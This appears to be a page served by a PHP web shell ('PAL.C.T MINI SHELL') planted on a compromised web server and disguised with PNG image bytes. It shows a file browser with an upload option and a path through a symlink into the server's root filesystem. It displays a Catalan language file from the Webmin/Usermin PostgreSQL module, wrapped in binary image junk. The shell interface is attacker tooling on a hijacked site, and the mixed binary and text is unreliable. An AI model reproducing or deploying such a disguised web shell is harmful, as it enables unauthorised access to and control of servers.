�php  IHDRwQ)B�a pHYs  ��sRGB���gAMA�� �a�IDATx��Mk\U��s&uo,�m�D )Xw�+�e?��tw.�o�Wp��;���QHZnw�`gaiJ�9�����̟灙����a�=�nl�[ ʨG��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$�����y H����@�E7j�� 1j+OF����Rg}ܫ�;@�E��a�����~ �j`�u�'o�> �j�-$�_�q?�q�SXzG'��ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/usermin/postgresql/lang/
upload
files >> //var/www/html/sub/images/Rm19_symconf/root/usr/libexec/usermin/postgresql/lang/ca

index_title=Servidor de BD PostgreSQL
index_notrun=PostgreSQL no est� en execuci� al sistema - no es pot recuperar la llista de bases de dades.
index_start=Inicia el Servidor PostgreSQL
index_startmsg=Fes clic sobre aquest bot� per iniciar el servidor de bases de dades  PostgreSQL al sistema. Aquest m�dul de Webmin no pot administrar la base de dades fins que no s'inici�.
index_nopass=Webmin ha de saber el teu nom d'usuari i la teva contrasenya d'administraci� per tal de gestionar la base de dades. Introdueix el nom d'usuari i contrasenya aqu� sota, si et plau.
index_nouser=El teu compte Webmin est� configurat per connectar-se al servidor PostgreSQL com a usuari $1, per� aquest usuari ha estat denegat.
index_ltitle=Connexi� a PostgreSQL
index_sameunix=Connecta amb el mateix usuari Unix
index_login=Usuari
index_pass=Contrasenya
index_clear=Esborra
index_stop=Atura el Servidor PostgreSQL
index_stopmsg=Fes clic sobre aquest bot� per aturar el servidor de bases de dades PostgreSQL. Aix� impedir� que cap usuari ni cap programa accedeixi a la base de dades, incloent-hi aquest m�dul Webmin.
index_dbs=Bases de dades PostgreSQL
index_add=Crea una Nova Base de Dades.
index_users=Usuaris, Grups i Permisos
index_return=a la llista de bases de dades
index_esql=No s'ha trobat al sistema el programa client PostgreSQL $1. Pot ser que PostgreSQL no estigui instal�lat, o b� que la <a href='$2'>configuraci� del m�dul</a> sigui incorrecta.
index_ehba=No s'ha trobat el fitxer de configuraci� del host PostgreSQL $1. Pot ser que PostgreSQL no hagi estat inicialitzat, o b� que la <a href='$2'>configuraci� del m�dul</a> sigui incorrecta.
index_superuser=No s'ha pogut executar al sistema el programa client de PostgreSQL. Pot ser que PostgreSQL no estigui instal�lat, o b� que la <a href='$1'>configuraci� del m�dul</a> sigui incorrecta.
index_eversion=La base de dades PostgreSQL del sistema �s de la versi� $1, per� Webmin nom�s suporta de la versi� $2 en amunt. 
index_elibrary=No es pot executar el programa client PostgreSQL $1 perqu� no es troben les llibreries compartides de Postgres. Comprova la <a href='$2'>configuraci� del m�dul</a> assegura't que el <i>Cam� de les llibreries compartides de PostgreSQL</i> est� posat.
index_ldpath=La llibreria compartida est� establerta a $1, i la resposta de $2 ha estat:
index_version=Versi� PostgreSQL $1
index_setup=No s'ha trobat al sistema el fitxer $1 de configuraci� de PostgreSQL, indicant que la base de dades encara no s'ha inicialitzat. Fes clic sobre el bot� de sota per configurar PostgreSQL.
index_setupok=Inicialitza la Base de Dades
index_nomod=Atenci�: El m�dul Perl $1 no est� instal�lat al sistema, de manera que Webmin no podr� accedir de forma fiable a la base de dades PostgreSQL. <a href='$2'>Fes clic aqu�</a> per instal�lar-lo ara.
index_nomods=Atenci�: Els m�duls Perl $1 i $2 no est� instal�lat al sistema, de manera que Webmin no podr� accedir de forma fiable a la base de dades PostgreSQL. <a href='$3'>Fes clic aqu�</a> per instal�lar-lo ara.
index_nodbs=No tens acc�s a cap base de dades.
index_nodbs3=No hi ha cap base de dades PostgreSQL que coincideixi amb la cerca.
index_backup=Copia les Bases de Dades
index_backupmsg=Fes clic sobre aquest bot� per configurar la c�pia de totes les bases de dades PostgreSQL, b� immediatament o b� amb una planificaci� configurada.
index_sch=(Amb esquemes)
index_db=Nom de la base de dades
index_tables=Taules
index_drops=Destrueix les Bases de Dades Seleccionades
index_postgresql=PostgreSQL
index_toomany=Hi ha massa bases de dades per mostrar. Busca les bases de dades que coincideixin amb: 
index_search=Busca
index_showing=S'estan mostrant les bases de dades que coincideixen amb $1...
index_emsg=El missatge d'error de PostgreSQL complet �s: $1
index_hostdesc=Fes clic sobre aquest bot� per editar la llista de hosts i m�todes d'autenticaci� que tenen perm�s de connectar amb PostgreSQL.
index_using=M�tode d'acc�s
index_btree=BTREE
index_rtree=RTREE
index_hash=Hash
index_gist=Arbre de Recerca d'�ndex Generalitzat
index_jump=O edita la base de dades:
index_jumpok=Obre
index_edithosts=Configura els Sistemes de Hosts Permesos

login_err=La connexi� ha fallat
login_ecannot=No tens perm�s per configurar les connexions a la base de dades
login_elogin=Hi falta el nom d'usuari
login_epass=Usuari o contrasenya d'administraci� incorrectes

dbase_title=Edici� de Base de Dades
dbase_noconn=Aquesta base de dades actualment no suporta connexions, aix� que no s'hi pot efectuar cap acci�.
dbase_header=Taules, �ndexs, vistes i seq��ncies de la base de dades
dbase_tables=Taules de la base de dades
dbase_add=Crea Taula
dbase_vadd=Crea Vista
dbase_sadd=Crea Seq��ncia
dbase_drop=Destrueix la Base de Dades
dbase_exec=Executa SQL
dbase_none=Aquesta base de dades no t� taules, �ndexs, vistes ni seq��ncies.
dbase_fields=Camps:
dbase_return=a la llista de taules
dbase_ecannot=No tens perm�s per editar aquesta base de dades
dbase_table=Taula, vista o �ndex
dbase_rows=Files
dbase_cols=Camps
dbase_delete=Destrueix els Objectes Seleccionats
dbase_showing=S'estan mostrant els objectes que coincideixen amb $1...
dbase_toomany=Hi ha massa objectes per mostrar. Busca els objectes que coincideixin amb:
dbase_index=�ndex
dbase_view=Vista
dbase_seq=Seq��ncia
 dbase_jump=Edita la taula:
dbase_vjump=Edita la vista:
dbase_ijump=Edita l'�ndex:
dbase_sjump=Edita la seq��ncia:

table_title=Edici� de Taula
table_title2=Creaci� de Taula
table_opts=Opcions del camp
table_header=Taula $1 de la base de dades $2
table_field=Nom del camp
table_type=Tipus
table_null=Permet nuls
table_arr=Matriu
table_none=Cap
table_add=Afegeix camp del tipus:
table_return=a la llista de columnes
table_data=Mostra les Dades
table_drop=Destrueix la Taula
table_name=Nom de la Taula
table_initial=Camps inicials
table_header2=Opcions de la nova taula
table_err=No s'ha pogut crear la nova taula
table_ename=Hi falta el nom de taula o b� no �s v�lid
table_efield='$1' no �s un nom de camp v�lid
table_etype=Hi falta el tipus del camp $1
table_esize=Hi falta la mida del camp $1
table_enone=No has introdu�t cap camp inicial
table_fielddrop=Destrueix el Camp
table_eblob=No cal la mida per al camp BLOB $1
table_csv=Exporta com a CSV
table_index=Crea �ndex
table_delete=Suprimeix els Camps Seleccionats

field_title1=Addici� de Camp
field_title2=Modificaci� de Camp
field_in=De la taula $1 de la base de dades $2
field_header=Par�metres del camp
field_name=Nom del camp
field_type=Tipus de dades
field_size=Mida
field_none=Cap
field_null=Permet nuls<br>
field_arr=Camp de matriu
field_key=Clau prim�ria
field_uniq=�nica
field_err2=No s'ha pogut desar el camp
field_err1=No s'ha pogut suprimir el camp
field_esize='$1' no �s una mida de camp v�lida
field_eenum=No has introdu�t cap valor enumerat
field_efield='$1' no �s un nom de camp v�lid
field_ekey=Els camps que permeten nuls no poden formar part de la clau prim�ria

exec_title=Execuci� de SQL
exec_header=Introdueix l'ordre SQL a executar sobre la base de dades $1...
exec_old=O selecciona una ordre SQL anterior:
exec_exec=Executa
exec_clear=Neteja l'Historial
exec_err=No s'ha pogut executar SQL
exec_out=Sortida de l'ordre SQL $1...
exec_none=No s'ha retornat cap dada
exec_header2=Selecciona un fitxer d'ordres SQL per executar sobre la base de dades $1...
exec_file=De fitxer local
exec_upload=De fitxer pujat
exec_eupload=No has seleccionat cap fitxer per pujar
exec_efile=El fitxer local no existeix o no es pot llegir
exec_uploadout=Sortida de les ordres SQL pujades...
exec_fileout=Sortida de les ordres SQL del fitxer $1...
exec_noout=No s'ha generat cap missatge
exec_import=Taula per importar-hi les dades
exec_header3=Selecciona in fitxer de dades de text per importar a la base de dades PostgreSQL $1...
exec_header4=Aquest fitxer ha de contenir un registre de la base de dades per l�nia, amb els camps separats per tabuladors o en format CSV.
exec_importmode=Origen del fitxer CSV
exec_delete=Suprimeix primer les dades de la taula
exec_filename=Del nom de fitxer
exec_ignore=Ignora les files duplicades
exec_edit=Edita l'Anterior
exec_format=Format del fitxer
exec_tabexec=Executa SQL
exec_tabfile=Executa SQL a partir de fitxer
exec_tabimport=Importa fitxer de text
exec_return=al formulari d'execuci� SQL

stop_err=No s'ha pogut aturar el servidor de bases de dades
stop_epidfile=No s'ha pogut obrir el fitxer de PID $1
stop_ekill=No s'ha pogut matar el proc�s $1: $2
start_err=No s'ha pogut iniciar el servidor de bases de dades
stop_ecannot=No tens perm�s per aturar el servidor de bases de dades
start_ecannot=No tens perm�s per iniciar el servidor de bases de dades

ddrop_err=No s'ha pogut destruir la base de dades
ddrop_title=Destrucci� de Base de Dades
ddrop_rusure=Segur que vols destruir la base de dades $1? Es perdran $2 taules que contenen $3 files de dades.
ddrop_mysql=Aquesta �s la base de dades mestra, si la destrueixes el servidor PostgreSQL quedar� inutilitzat!
ddrop_ok=Destrueix la Base de Dades

tdrop_err=No s'ha pogut destruir la taula
tdrop_title=Destrucci� de Taula
tdrop_rusure=Segur que vols destruir la taula $1 de la base de dades $2? Es perdran $3 files de dades.
tdrop_ok=Destrueix la Taula

view_title=Dades de Taula
view_pos=Files $1 a $2 de $3
view_none=Aquesta taula no cont� dades
view_edit=Edita les files seleccionades
view_new=Afegeix fila
view_delete=Suprimeix les files seleccionades
view_nokey=Les dades d'aquesta taula no es poden editar perqu� no t� clau prim�ria.
view_all=Selecciona-ho tot
view_invert=Inverteix la selecci�
view_search2=Busca files on el camp $2 $3 $1
view_match0=cont�
view_match1=coincideix amb
view_match2=no cont�
view_match3=no coincideix amb
view_match4=major que
view_match5=menor que
view_searchok=Cerca
view_searchhead=Resultats de la recerca $1 al camp $2...
view_searchhead2=Resultats de la recerca avan�ada als camps $1...
view_searchreset=Reinicia la recerca
view_sorthead1=S'est� ordenant per $1, ordre descendent
view_sorthead2=S'est� ordenant per $1, ordre ascendent
view_sortreset=Reinicia l'ordenaci�
view_field=Nom del camp
view_data=Dades noves
view_jump=Salta a la fila:
view_download=Descarrega...
view_keep=Deixa-ho tal com est�
view_set=Estableix el contingut del fitxer...
iew_warn=Atenci� - la puja de fitxers i la visualitzaci� del contingut de camps <tt>text</tt> o <tt>bytea</tt> no funcionar� a menys que els m�duls Perl $1 i $2 estiguin instal�lats i funcionant.
view_adv=Cerca Avan�ada
view_sqlrun=Resultats generats per la consulta SQL: $1

newdb_title=Creaci� de Bases de Dades
newdb_header=Opcions de la nova base de dades
newdb_db=Nom de la base de dades
newdb_path=Cam� dels fitxers de la base de dades
newdb_err=No s'ha pogut desar la base de dades
newdb_edb=Hi falta el nom de la base dades o b� no �s v�lid
newdb_ecannot=No tens perm�s per crear la base de dades
newdb_ecannot2=No tens perm�s per crear cap m�s base de dades
newdb_epath=Hi falta el cam� de la base de dades
newdb_user=Propietat de l'usuari
newdb_encoding=Codificaci� del joc de car�cters
newdb_eencoding=Hi falta la codificaci� del joc de car�cters
newdb_template=Base de daes de plantilla
newdb_notemplate=Cap

user_title=Usuaris PostgreSQL
user_ecannot=No tens perm�s per editar els usuaris
user_name=Usuari
user_db=Pot crear bases de dades
user_other=Pot crear usuaris
user_until=V�lid fins
user_add=Crea un nou usuari.
user_forever=Per sempre
user_pass=Cal contrasenya
user_edit=Edita Usuari
user_create=Crea Usuari
user_return=a la llista d'usuaris
user_header=Detalls de l'usuari PostgreSQL
user_passwd=Contrasenya
user_none=Cap
user_setto=Establert a
user_nochange=No ho canvi�s
user_err=No s'ha pogut desar l'usuari
user_epass=Hi falta la contrasenya o b� no �s v�lida
user_ename=Hi falta el nom d'usuari o b� no �s v�lid
user_sync=Les opcions de sota configuren la sincronia entre els usuaris Unix creats amb Webmin i els usuaris PostgreSQL.
user_sync_create=Afegeix un nou usuari PostgreSQL quan s'afegeixi un usuari Unix.
user_syncwhen=Quan cal sincronitzar
user_sync_modify=Actualitza un usuari PostgreSQL quan es modifiqui l'usuari Unix coincident.
user_sync_delete=Suprimeix un usuari PostgreSQL quan se suprimeixi l'usuari Unix coincident.
user_delete=Suprimeix els Seleccionats
user_derr=No s'han pogut suprimir els usuaris
user_enone=No has seleccionat cap usuari

host_ecannot=No tens perm�s per editar els hosts permesos
host_title=Hosts Permesos
host_desc=Quan es connecta un client a la base de dades, els hosts llistats a sota es processen per ordre fins que algun coincideix i el client �s autoritzat o denegat.
host_header=Detalls de l'autenticaci� del client PostgreSQL
host_local=Connexi� local
host_peer=Parell de Xarxa
host_address=Adre�a del host
host_db=Bases de dades
host_user=Usuaris
host_uall=Tots els usuaris
host_auth=Mode d'autenticaci�
host_any=Qualsevol host de la xarxa
host_all=Totes les bases de dades
host_same=Igual que el nom d'usuari
host_gsame=El mateix que el nom del grup
host_other=Altres...
host_usel=Els usuaris llistats...
host_add=Crea un nou host perm�s.
host_ident=Comprova el servidor <tt>ident</tt> al host
host_trust=No cal autenticaci�
host_reject=Rebutja la connexi�
host_password=Contrasenya en text planer
host_crypt=Contrasenya xifrada
host_md5=Contrasenya xifrada amb MD5
host_krb4=Kerberos V4
host_krb5=Kerberos V5
host_pam=PAM
host_passwordarg=Utilitza el fitxer de contrasenyes
host_identarg0=No utilitzis cap mapejat d'usuaris
host_identarg1=Els usuaris PostgreSQL i Unix s�n els mateixos
host_identarg2=Utilitza el fitxer de mapejat d'usuaris
host_pamarg=Utilitza el servei PAM
host_create=Crea un Host Perm�s
host_edit=Edita un Host Perm�s
host_single=Host a�llat
host_network=Xarxa
host_netmask=M�scara
host_cidr=Llargada CIDR
host_return=a la llista d'acc�s al host
host_err=No s'ha pogut desar el host perm�s
host_eident=Hi falta el mapa d'usuaris o b� no �s v�lid
host_epam=Hi falta el servei PAM o b� �s inv�lid
host_epassword=Hi falta el fitxer de contrasenyes o b� no �s v�lid
host_enetmask=Hi falta la m�scara de subxarxa o b� no �s v�lida
host_enetwork=Hi falta la xarxa o b� no �s v�lida
host_ehost=Hi falta l'adre�a IP del host o b� no �s v�lida
host_move=Despla�a
host_edb=No has introdu�t cap nom de base de dades
host_euser=No has introdu�t cap nom d'usuari
host_ssl=cal una connexi� SSL
host_viassl=Via SSL
host_derr=No s'han pogut suprimir els hosts seleccionats
host_enone=No has seleccionat cap host

grant_title=Concessi� de Drets
grant_tvi=Objecte
grant_type=Tipus
grant_db=Base de dades
grant_ns=Esquema
grant_public=Tothom
grant_group=Grup $1
grant_add=Afegeix el perm�s a la base de dades:
grant_return=a la llista de drets
grant_ecannot=No tens perm�s per editar els drets
grant_create=Crea Drets
grant_edit=Edita Drets
grant_header=Drets concedits als usuaris
grant_to=Concedeix drets sobre
grant_table=Taula
grant_view=Vista o �ndex
grant_users=Concedeix drets a
grant_user=Usuari
grant_what=Drets
grant_r=Table
grant_v=Vista
grant_i=�ndex
grant_S=Seq��ncia
grant_none=No hi ha cap taula, vista, seq��ncia ni �ndex sobre el qual donar drets.
grant_toomany=Hi ha massa objectes per mostrar. Busca els objectes que coincideixin amb:
grant_showing=S'estan mostrant els objectes que coincideixen amb $1...
grant_delete=Reinicia els Drets Seleccionats

group_title=Grups PostgreSQL
group_ecannot=No tens perm�s per editar grups
group_name=Nom del grup
group_id=ID del grup
group_mems=Membres
group_add=Crea un nou grup.
group_memsopts=Tots els usuaris
group_memsvals=Els usuaris del grup
group_edit=Edita Grup
group_create=Crea Grup
group_header=Detalls del grup PostgreSQL
group_return=a la llista de grups
group_err=No s'ha pogut desar el grup
group_ename=Hi falta el nom del grup o b� no �s v�lid
group_egid=Hi falta l'ID del grup o b� no �s v�lid
group_etaken=El nom del grup ja est� en �s
group_none=Actualment no hi ha cap grup PostgreSQL.
group_derr=No s'han pogut suprimir els grups
group_enone=No has seleccionat cap grup

esql=L'ordre SQL $1 ha fallat: $2

log_start=S'ha iniciat el servidor PostgreSQL
log_stop=S'ha aturat el servidor PostgreSQL
log_db_create=S'ha creat la base de dades $1
log_db_delete=S'ha destru�t la base de dades $1
log_dbs_delete=S'han destru�t $1 bases de dades
log_users_delete=S'han suprimit $1 usuaris
log_groups_delete=S'han suprimit $1 grups
log_hosts_delete=S'han suprimit $1 hosts permesos
log_table_create=S'ha creat la taula $1 de la base de dades $2
log_table_delete=S'ha destru�t la taula $1 de la base de dades $2
log_view_create=S'ha creat la vista $1 a la base de dades $2
log_view_modify=S'ha modificat la vista $1 a la base de dades $2
log_view_delete=S'ha destru�t la vista $1 de la base de dades $2
log_index_create=S'ha creat l'�ndex $1 a la base de dades $2
log_index_modify=S'ha modificat l'�ndex $1 a la base de dades $2
log_index_delete=S'ha destru�t l'�ndex $1 de la base de dades $2
log_seq_create=S'ha creat la seq��ncia $1 a la base de dades $2
log_seq_modify=S'ha modificat la seq��ncia $1 a la base de dades $2
log_seq_delete=S'ha destru�t la seq��ncia $1 de la base de dades $2
log_tables_delete=S'han destru�t $1 objectes de la base de dades $2
log_field_create=S'ha afegit el camp $1 $4 a $2 de la base de dades $3
log_field_modify=S'ha modificat el camp $1 $4 de $2 de la base de dades $3
log_field_delete=S'ha suprimit el camp $1 de $2 de la base de dades $3
log_data_create=S'ha afegit una fila a la taula $2 de la base de dades $3
log_fields_delete=S'han suprimit $1 camps de $1 a la base de dades $2
log_data_modify=S'han modificat $1 fitxers de la taula $2 de la base de dades $3
log_data_delete=S'han suprimit $1 fitxers de la taula $2 de la base de dades $3
log_exec=S'ha executat el SQL a la base de dades $1
log_exec_l=S'ha executat l'ordre SQL $2 a la base de dades $1
log_create_user=S'ha creat l'usuari $1
log_delete_user=S'ha suprimit l'usuari $1
log_modify_user=S'ha modificat l'usuari $1
log_create_group=S'ha creat el grup $1
log_delete_group=S'ha suprimit el grup $1
log_modify_group=S'ha modificat el grup $1
log_create_local=S'ha creat una connexi� local permesa
log_modify_local=S'ha modificat una connexi� local permesa
log_delete_local=S'ha suprimit una connexi� local permesa
log_move_local=S'ha despla�at la connexi� local permesa
log_create_all=S'ha creat qualsevol host perm�s
log_modify_all=S'ha modificat qualsevol host perm�s
log_delete_all=S'ha suprimit qualsevol host perm�s
log_move_all=S'han despla�at tots els hosts permesos
log_create_hba=S'ha creat el host perm�s $1
log_modify_hba=S'ha modificat el host perm�s $1
log_delete_hba=S'ha suprimit el host perm�s $1
log_move_hba=S'ha despla�at el host perm�s $1
log_grant=S'han donat drets sobre $1 de la base de dades $2
log_degrant=S'han retirat els privilegis concedits sobre $1 objectes
log_setup=S'ha inicialitzat la base de dades
log_backup=S'ha copiat la base de dades $1
log_backup_l=S'ha copiat la base de dades $1 al fitxer $2
log_backup_all=S'han copiat totes les bases de dades
log_backup_all_l=S'han copiat totes les bases de dades al fitxer $2

acl_dbs=Bases de dades que aquest usuari pot gestionar
acl_dbscannot=Aquest control d'acc�s ser� efectiu despr�s d'iniciar el servidor de bases de dades PostgreSQL.
acl_dall=Totes les bases de dades
acl_dsel=Seleccionades...
acl_create=Pot crear noves bases de dades
acl_max=S�, com a molt
acl_delete=Pot destruir bases de dades
acl_stop=Pot iniciar i aturar el servidor PostgreSQL
acl_users=Pot editar usuaris, grups, hosts i drets
acl_login=Entra a MySQL com a
acl_user_def=Usuari del m�dul Config
acl_user=Usuari
acl_pass=Contrasenya
acl_sameunix=Connecta i fes c�pies de seguretat amb el mateix usuari Unix
acl_backup=Pot crear c�pies de seguretat
acl_restore=Pot crear c�pies de seguretat
acl_cmds=Pot editar les ordres d'abans i despr�s de la c�pia
acl_views=Pot veure i gestionar vistes
acl_indexes=Pot veure i gestionar �ndexs
acl_seqs=Pot veure i gestionar seq��ncies

fdrop_err=No s'han pogut suprimir els camps
fdrop_enone=No has seleccionat cap camp
fdrop_eall=No pots suprimir tots elss camps d'una taula!

setup_err=No s'han pogut inicialitzar la base de dades
setup_ecannot=No tens perm�s per inicialitzar la base de dades

dbase_bkup=Copia
dbase_rstr=Restaura

restore_title=Restauraci� de Base de Dades
restore_header=Opcions de restauraci� de la base de dades
restore_db=Nom de la base de dades
restore_src=Restaura a partir de
restore_src0=Fitxer del servidor $1
restore_src1=Fitxer pujat $1
restore_err=No s'ha pogut restaurar la base de dades
restore_edb=Hi falta el nom de la base de dades o b� �s inv�lid
restore_eacl=Has de tenir perm�s per crear i destruir bases de dades
restore_epath=Hi falta el cam� de la base de dades
restore_go=Restaura
restore_pe1=El fitxer ha de ser un fitxer tar ($1)
restore_pe2=No s'ha trobat el fitxer ($1)
restore_exe=Error d'execuci� de l'ordre ($1)
restore_ecmd=No s'ha trobat al sistema l'ordre de restauraci� $1
restore_ecannot=No tens perm�s per restaurar c�pies
restore_only=Restaurar nom�s les dades, sense les taules
restore_clean=Suprimeix les taules abans de restaurar
restore_tables=Taules a restaurar
restore_tables1=Totes les del fitxer de c�pia
restore_tables0=les taules llistades
restore_failed=La restauraci� ha fallat: $1

backup_title=C�pia de la Base de Dades
backup_title2=C�pia de Totes les Bases de Dades
backup_header1=Destinaci� de la c�pia
backup_header2=Altres opcions de c�pia
backup_header3=Planificaci� de la c�pia
backup_db=Nom de la base de dades
backup_desc=Aquest formulari permet fer una c�pia de seguretat de la base de dades $1 b� com a fitxer d'instruccions SQL, b� com un arxiu.
backup_desc2=La c�pia es pot portar a terme immediatament, o autom�ticament en base a una planificaci� seleccionada.
backup_desc3=Aquest formulari permet copiar totes les bases de dades b� com a fitxers d'instruccions SQL o b� com un arxiu.
backup_path=Cam� dels fitxers a copiar
backup_path2=Directori de fitxers de c�pia
backup_mkdir=Crea el directori dest�
backup_err=No s'ha pogut copiar la base de dades
backup_eacl=Has de tenir perm�s per crear i destruir bases de dades
backup_edb=Hi falta el nom de la base de dades o b� �s inv�lid
backup_epath=Hi falta el cam� de la base de dades
backup_ok=Fes la C�pia Ara
backup_ok1=Desa i Fes la C�pia Ara
backup_ok2=Desa
backup_pe1=El fitxer ha de ser un fitxer tar ($1)
backup_pe2=El fitxer ja existeix ($1)
backup_pe3=Hi falta el cam� dels fitxers a copiar o b� �s inv�lid
backup_pe4=Hi falta el directori de fitxers de c�pia o b� no existeix
backup_ebackup=<tt>pg_dump</tt> ha fallat: $1
backup_ecmd=No s'ha trobat al sistema l'ordre de c�pia $1
backup_format=Format del fitxer de c�pia
backup_format_p=Text SQL planer
backup_format_t=Fitxer tar
backup_format_c=Fitxer personalitzat
backup_ecannot=No tens perm�s per crear c�pies
backup_done=S'han copiat $3 bytes de la base de dades $1 al fitxer $2.
backup_notaccept=La base de dades $1 no accepta connexions.
backup_sched=S'ha activat la c�pia planificada
backup_special=Planificaci� de la c�pia
backup_sched1=S�, a les hores triades a sota...
backup_ccron=S'ha activat la c�pia planificada de la base dades.
backup_dcron=S'ha desactivat la c�pia planificada de la base dades.
backup_ucron=S'han actualitzat el cam�, format i hores de la c�pia planificada de la base de dades.
backup_ncron=La c�pia planificada de la base dades s'ha deixat desactivada.
backup_before=Ordre a executar abans de la c�pia
backup_after=Ordre a executar despr�s de la c�pia
backup_tables=Taules a copiar
backup_alltables=Totes les taules
backup_seltables=Nom�s la taula
backup_ebefore=L'ordre a executar abans de la c�pia ha fallat!
backup_cmode=Quan s'han d'executar les ordres
backup_cmode1=Abans/despr�s de totes les bases de dades
backup_cmode0=Abans/despr�s de cada base de dades

r_command=Ordre No Suportada

adv_title=Cerca Avan�ada
adv_and=Busca registres que coincideixin amb tots els criteris...
adv_or=Busca registres que coincideixin amb qualsevol criteri...
adv_ok=Busca Ara

tdrops_enone=No has introdu�t cap objecte per destruir
tdrops_err=No s'han pogut destruir els objectes
tdrops_ok=Destrueix els Objectes
tdrops_title=Destrucci� d'Objectes
tdrops_rusure=Segur que vols destruir els $1 objectes seleccionats de la base de dades $2? Se suprimiran $3 files de dades.
tdrops_rusure2=Segur que vols destruir els $1 objectes seleccionats de la base de dades $2?

ddrops_err=No s'han pogut destruir les bases de dades
ddrops_title=Destrucci� de Bases de Dades
ddrops_rusure=Segur que vols destruir les $1 bases de dades seleccionades? Se suprimiran $2 taules que contenen $3 files de dades.
ddrops_mysql=Com que has seleccionat la base de dades mestra, eliminant-la segurament inutilitzar�s el teu servidor PostgreSQL!
ddrops_ok=Destrueix les Bases de Dades
ddrops_enone=No has seleccionat cap base de dades
ddrops_ecannotdb=No tens perm�s per destruir la base de dades $1

csv_title=Exportaci� a Fitxer CSV
csv_header=Opcions de l'exportaci� CSV
csv_dest=Destinaci� de l'exportaci�
csv_browser=Mostra-ho al navegador
csv_file=Desa al fitxer...
csv_where=Cl�usula <tt>where</tt> SQL per a les files exportades
csv_all=Exporta totes les files
csv_ok=Exporta Ara
csv_format=Format del fitxer
csv_format0=CSV amb cometes
csv_format1=CSV sense cometes
csv_format2=Separaci� per tabuladors
cvs_err=L'exportaci� CSV ha fallat
csv_efile=Hi falta el fitxer de destinaci� o b� �s inv�lid
csv_ebuser=No tens perm�s per exportar a fitxer
csv_ewhere=Hi falta la cl�usula <tt>where</tt>
csv_done=L'exportaci� CSV a $1 s'ha completat. La mida del fitxer resultant �s de $2.
csv_headers=Inclou els noms de columnes al CSV
csv_cols=Columnes a incloure al CSV
csv_ecols=No has seleccionat cap columna

import_title=Importaci� de Dades
import_uploadout=S'estan important dades del fitxer pujat...
import_fileout=S'estan important dades del fitxer $1...
import_eupload=Hi falta el fitxer d'importaci� a pujar
import_efile=Hi falta el nom del fitxer d'importaci�
import_done=...s'han creat $1 files, s'han om�s $2 duplicats.
import_erow=...no s'ha trobat cap camp a la fila $1

index_title1=Creaci� d'�ndex
index_header1=Opcions de l'�ndex
index_name=Nom de l'�ndex
index_fields=Camps de l'�ndex
index_type=Tipus d'�ndex
index_unique=�nic
index_nonunique=No �nic
index_fulltext=Text complet
index_spatial=Espaial
index_err=No s'ha pogut crear l'�ndex
index_ename=Hi falta el nom de l'�ndex o b� �s inv�lid
index_eclash=Ja existeix un �ndex amb el mateix nom
index_ehash=Nom�s els �ndexs BTREE poden ser �nics
index_ecols=No has seleccionat cap camp
index_title2=Edici� d'�ndex
index_header=�ndex $1 a la base de dades $2
index_ecannot=No tens perm�s per gestionar �ndexs

view_title1=Creaci� de Vista
view_title2=Edici� de Vista
view_header1=Detalls de la vista
view_name=Nom de la vista
view_query=Consulta de selecci� SQL
view_cols=Noms de columna
view_auto=Autom�tics
view_below=Els introdu�ts a sota...
view_err=No s'ha pogut desar la vista
view_ename=Hi falta el nom de la vista o b� �s inv�lid
view_eclash=Ja existeix una vista amb el mateix nom
view_equery=Hi falta la consulta SQL
view_ecols=No has introdu�t cap nom de columna
view_ecannot=No tens perm�s per gestionar vistes

seq_title1=Creaci� de Seq��ncia
seq_title2=Edici� de Seq��ncia
seq_header1=Opcions d'increment de la seq��ncia
seq_name=Nom de la seq��ncia
seq_last=Valor actual
seq_leave=Deixa'l sense canviar ($1)
seq_min=Valor m�nim
seq_max=Valor m�xim
seq_inc=Incrementa'l a ra� de
seq_cache=Nombre de valors a desar en cau
seq_cycle=Retorna al m�nim quan s'atenyi el m�xim
seq_none=Cap
seq_err=No s'ha pogut desar la seq��ncia
seq_ename=Hi falta el nom de la seq��ncia o b� �s inv�lid
seq_eclash=Ja existeix una seqencia amb el mateix nom
seq_emin=Hi falta el valor m�nim o b� �s inv�lid
seq_emax=Hi falta el valor m�xim o b� �s inv�lid
seq_ecache=Hi falta el nombre de valors a desar en cau o b� �s inv�lid
seq_ecannot=No tens perm�s per gestionar seq��ncies

dgrant_err=No s'han pogut reiniciar els drets
dgrant_enone=No has seleccionat cap objecte
__norefs=1
� y���~�or�5�J�={��E��e�u磝Qk��ᯘG{�?���+�]������ן�?w�M3X^��歌>{�7پ�K�>�o��n�\����j�y��R ���g/�=��f�O��r�o��NV�v��~�Y+��NG�u���Ý����HW��y�w�[eQ�ʨ�S�b��>������>�}G�mx[o[<��{���Ϯ_��qF� ��vMIEND�B`�